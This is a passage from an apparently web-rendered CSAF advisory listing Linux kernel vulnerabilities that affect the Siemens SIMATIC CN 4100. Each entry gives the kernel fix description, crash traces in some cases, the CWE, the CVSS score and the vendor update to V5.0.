CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39686\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: Make insn_rw_emulate_bits() do insn->n samples The `insn_rw_emulate_bits()` function is used as a default handler for `INSN_READ` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_READ`. Similarly, it is used as a default handler for `INSN_WRITE` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_WRITE`. It works by emulating the `INSN_READ` or `INSN_WRITE` instruction handling with a constructed `INSN_BITS` instruction. However, `INSN_READ` and `INSN_WRITE` instructions are supposed to be able read or write multiple samples, indicated by the `insn->n` value, but `insn_rw_emulate_bits()` currently only handles a single sample. For `INSN_READ`, the comedi core will copy `insn->n` samples back to user-space. (That triggered KASAN kernel-infoleak errors when `insn->n` was greater than 1, but that is being fixed more generally elsewhere in the comedi core.) Make `insn_rw_emulate_bits()` either handle `insn->n` samples, or return an error, to conform to the general expectation for `INSN_READ` and `INSN_WRITE` handlers.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39687\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: light: as73211: Ensure buffer holes are zeroed Given that the buffer is copied to a kfifo that ultimately user space can read, ensure we zero it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39689\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ftrace: Also allocate and copy hash for reading of filter files Currently the reader of set_ftrace_filter and set_ftrace_notrace just adds the pointer to the global tracer hash to its iterator. Unlike the writer that allocates a copy of the hash, the reader keeps the pointer to the filter hashes. This is problematic because this pointer is static across function calls that release the locks that can update the global tracer hashes. This can cause UAF and similar bugs. Allocate and copy the hash for reading the filter files like it is done for the writers. This not only fixes UAF bugs, but also makes the code a bit simpler as it doesn't have to differentiate when to free the iterator's hash between writers and readers.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39691\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/buffer: fix use-after-free when call bh_read() helper There's issue as follows: BUG: KASAN: stack-out-of-bounds in end_buffer_read_sync+0xe3/0x110 Read of size 8 at addr ffffc9000168f7f8 by task swapper/3/0 CPU: 3 UID: 0 PID: 0 Comm: swapper/3 Not tainted 6.16.0-862.14.0.6.x86_64 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) Call Trace: dump_stack_lvl+0x55/0x70 print_address_description.constprop.0+0x2c/0x390 print_report+0xb4/0x270 kasan_report+0xb8/0xf0 end_buffer_read_sync+0xe3/0x110 end_bio_bh_io_sync+0x56/0x80 blk_update_request+0x30a/0x720 scsi_end_request+0x51/0x2b0 scsi_io_completion+0xe3/0x480 ? scsi_device_unbusy+0x11e/0x160 blk_complete_reqs+0x7b/0x90 handle_softirqs+0xef/0x370 irq_exit_rcu+0xa5/0xd0 sysvec_apic_timer_interrupt+0x6e/0x90 Above issue happens when do ntfs3 filesystem mount, issue may happens as follows: mount IRQ ntfs_fill_super read_cache_page do_read_cache_folio filemap_read_folio mpage_read_folio do_mpage_readpage ntfs_get_block_vbo bh_read submit_bh wait_on_buffer(bh); blk_complete_reqs scsi_io_completion scsi_end_request blk_update_request end_bio_bh_io_sync end_buffer_read_sync __end_buffer_read_notouch unlock_buffer wait_on_buffer(bh);--> return will return to caller put_bh --> trigger stack-out-of-bounds In the mpage_read_folio() function, the stack variable 'map_bh' is passed to ntfs_get_block_vbo(). Once unlock_buffer() unlocks and wait_on_buffer() returns to continue processing, the stack variable is likely to be reclaimed. Consequently, during the end_buffer_read_sync() process, calling put_bh() may result in stack overrun. If the bh is not allocated on the stack, it belongs to a folio. Freeing a buffer head which belongs to a folio is done by drop_buffers() which will fail to free buffers which are still locked. So it is safe to call put_bh() before __end_buffer_read_notouch().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39692\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb: server: split ksmbd_rdma_stop_listening() out of ksmbd_rdma_destroy() We can't call destroy_workqueue(smb_direct_wq); before stop_sessions()! Otherwise already existing connections try to use smb_direct_wq as a NULL pointer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39693\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Avoid a NULL pointer dereference [WHY] Although unlikely drm_atomic_get_new_connector_state() or drm_atomic_get_old_connector_state() can return NULL. [HOW] Check returns before dereference. (cherry picked from commit 1e5e8d672fec9f2ab352be121be971877bff2af9)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39694\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: s390/sclp: Fix SCCB present check Tracing code called by the SCLP interrupt handler contains early exits if the SCCB address associated with an interrupt is NULL. This check is performed after physical to virtual address translation. If the kernel identity mapping does not start at address zero, the resulting virtual address is never zero, so that the NULL checks won't work. Subsequently this may result in incorrect accesses to the first page of the identity mapping. Fix this by introducing a function that handles the NULL case before address translation.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39697\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: NFS: Fix a race when updating an existing write After nfs_lock_and_join_requests() tests for whether the request is still attached to the mapping, nothing prevents a call to nfs_inode_remove_request() from succeeding until we actually lock the page group. The reason is that whoever called nfs_inode_remove_request() doesn't necessarily have a lock on the page group head. So in order to avoid races, let's take the page group lock earlier in nfs_lock_and_join_requests(), and hold it across the removal of the request in nfs_inode_remove_request().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39701\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ACPI: pfr_update: Fix the driver update version check The security-version-number check should be used rather than the runtime version check for driver updates. Otherwise, the firmware update would fail when the update binary had a lower runtime version number than the current one. [ rjw: Changelog edits ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1025 Comparison Using Wrong Factors\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39702\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ipv6: sr: Fix MAC comparison to be constant-time To prevent timing attacks, MACs need to be compared in constant time. Use the appropriate helper function for this.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-208 Observable Timing Discrepancy\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39703\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net, hsr: reject HSR frame if skb can't hold tag Receiving HSR frame with insufficient space to hold HSR tag in the skb can result in a crash (kernel BUG): [ 45.390915] skbuff: skb_under_panic: text:ffffffff86f32cac len:26 put:14 head:ffff888042418000 data:ffff888042417ff4 tail:0xe end:0x180 dev:bridge_slave_1 [ 45.392559] ------------[ cut here ]------------ [ 45.392912] kernel BUG at net/core/skbuff.c:211! [ 45.393276] Oops: invalid opcode: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN NOPTI [ 45.393809] CPU: 1 UID: 0 PID: 2496 Comm: reproducer Not tainted 6.15.0 #12 PREEMPT(undef) [ 45.394433] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 45.395273] RIP: 0010:skb_panic+0x15b/0x1d0 [ 45.402911] Call Trace: [ 45.403105] [ 45.404470] skb_push+0xcd/0xf0 [ 45.404726] br_dev_queue_push_xmit+0x7c/0x6c0 [ 45.406513] br_forward_finish+0x128/0x260 [ 45.408483] __br_forward+0x42d/0x590 [ 45.409464] maybe_deliver+0x2eb/0x420 [ 45.409763] br_flood+0x174/0x4a0 [ 45.410030] br_handle_frame_finish+0xc7c/0x1bc0 [ 45.411618] br_handle_frame+0xac3/0x1230 [ 45.413674] __netif_receive_skb_core.constprop.0+0x808/0x3df0 [ 45.422966] __netif_receive_skb_one_core+0xb4/0x1f0 [ 45.424478] __netif_receive_skb+0x22/0x170 [ 45.424806] process_backlog+0x242/0x6d0 [ 45.425116] __napi_poll+0xbb/0x630 [ 45.425394] net_rx_action+0x4d1/0xcc0 [ 45.427613] handle_softirqs+0x1a4/0x580 [ 45.427926] do_softirq+0x74/0x90 [ 45.428196] This issue was found by syzkaller. The panic happens in br_dev_queue_push_xmit() once it receives a corrupted skb with ETH header already pushed in linear data. When it attempts the skb_push() call, there's not enough headroom and skb_push() panics. The corrupted skb is put on the queue by HSR layer, which makes a sequence of unintended transformations when it receives a specific corrupted HSR frame (with incomplete TAG). Fix it by dropping and consuming frames that are not long enough to contain both ethernet and hsr headers. Alternative fix would be to check for enough headroom before skb_push() in br_dev_queue_push_xmit(). In the reproducer, this is injected via AF_PACKET, but I don't easily see why it couldn't be sent over the wire from adjacent network. Further Details: In the reproducer, the following network interface chain is set up: \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 veth0_to_hsr \u251c\u2500\u2500\u2500\u2524 hsr_slave0 \u253c\u2500\u2500\u2500\u2510 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u251c\u2500\u2524 hsr0 \u251c\u2500\u2500\u2500\u2510 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 veth1_to_hsr \u253c\u2500\u2500\u2500\u2524 hsr_slave1 \u251c\u2500\u2500\u2500\u2518 \u2514\u2524 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u250c\u253c bridge \u2502 \u2502\u2502 \u2502 \u2502\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502 ... \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 To trigger the events leading up to crash, reproducer sends a corrupted HSR fr ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1286 Improper Validation of Syntactic Correctness of Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39706\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Destroy KFD debugfs after destroy KFD wq Since KFD proc content was moved to kernel debugfs, we can't destroy KFD debugfs before kfd_process_destroy_wq. Move kfd_process_destroy_wq prior to kfd_debugfs_fini to fix a kernel NULL pointer problem. It happens when /sys/kernel/debug/kfd was already destroyed in kfd_debugfs_fini but kfd_process_destroy_wq calls kfd_debugfs_remove_process. This line debugfs_remove_recursive(entry->proc_dentry); tries to remove /sys/kernel/debug/kfd/proc/ while /sys/kernel/debug/kfd is already gone. It hangs the kernel by kernel NULL pointer. (cherry picked from commit 0333052d90683d88531558dcfdbf2525cc37c233)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39709\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: protect against spurious interrupts during probe Make sure the interrupt handler is initialized before the interrupt is registered. If the IRQ is registered before hfi_create(), it's possible that an interrupt fires before the handler setup is complete, leading to a NULL dereference. This error condition has been observed during system boot on Rb3Gen2.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39710\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: Add a check for packet size after reading from shared memory Add a check to ensure that the packet size does not exceed the number of available words after reading the packet header from shared memory. This ensures that the size provided by the firmware is safe to process and prevent potential out-of-bounds memory access.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39713\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: rainshadow-cec: fix TOCTOU race condition in rain_interrupt() In the interrupt handler rain_interrupt(), the buffer full check on rain->buf_len is performed before acquiring rain->buf_lock. This creates a Time-of-Check to Time-of-Use (TOCTOU) race condition, as rain->buf_len is concurrently accessed and modified in the work handler rain_irq_work_handler() under the same lock. Multiple interrupt invocations can race, with each reading buf_len before it becomes full and then proceeding. This can lead to both interrupts attempting to write to the buffer, incrementing buf_len beyond its capacity (DATA_SIZE) and causing a buffer overflow. Fix this bug by moving the spin_lock() to before the buffer full check. This ensures that the check and the subsequent buffer modification are performed atomically, preventing the race condition. An corresponding spin_unlock() is added to the overflow path to correctly release the lock. This possible bug was found by an experimental static analysis tool developed by our team.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39714\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: usbtv: Lock resolution while streaming When an program is streaming (ffplay) and another program (qv4l2) changes the TV standard from NTSC to PAL, the kernel crashes due to trying to copy to unmapped memory. Changing from NTSC to PAL increases the resolution in the usbtv struct, but the video plane buffer isn't adjusted, so it overflows. [hverkuil: call vb2_is_busy instead of vb2_is_streaming]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39715\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: parisc: Revise gateway LWS calls to probe user read access We use load and stbys,e instructions to trigger memory reference interruptions without writing to memory. Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel and gateway page execute at privilege level 0, so this code never triggers a read access interruption. Thus, it is currently possible for user code to execute a LWS compare and swap operation at an address that is read protected at privilege level 3 (PRIV_USER). Fix this by probing read access rights at privilege level 3 and branching to lws_fault if access isn't allowed.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39716\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: parisc: Revise __get_user() to probe user read access Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel executes at privilege level 0, so __get_user() never triggers a read access interruption (code 26). Thus, it is currently possible for user code to access a read protected address via a system call. Fix this by probing read access rights at privilege level 3 (PRIV_USER) and setting __gu_err to -EFAULT (-14) if access isn't allowed. Note the cmpiclr instruction does a 32-bit compare because COND macro doesn't work inside asm.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div 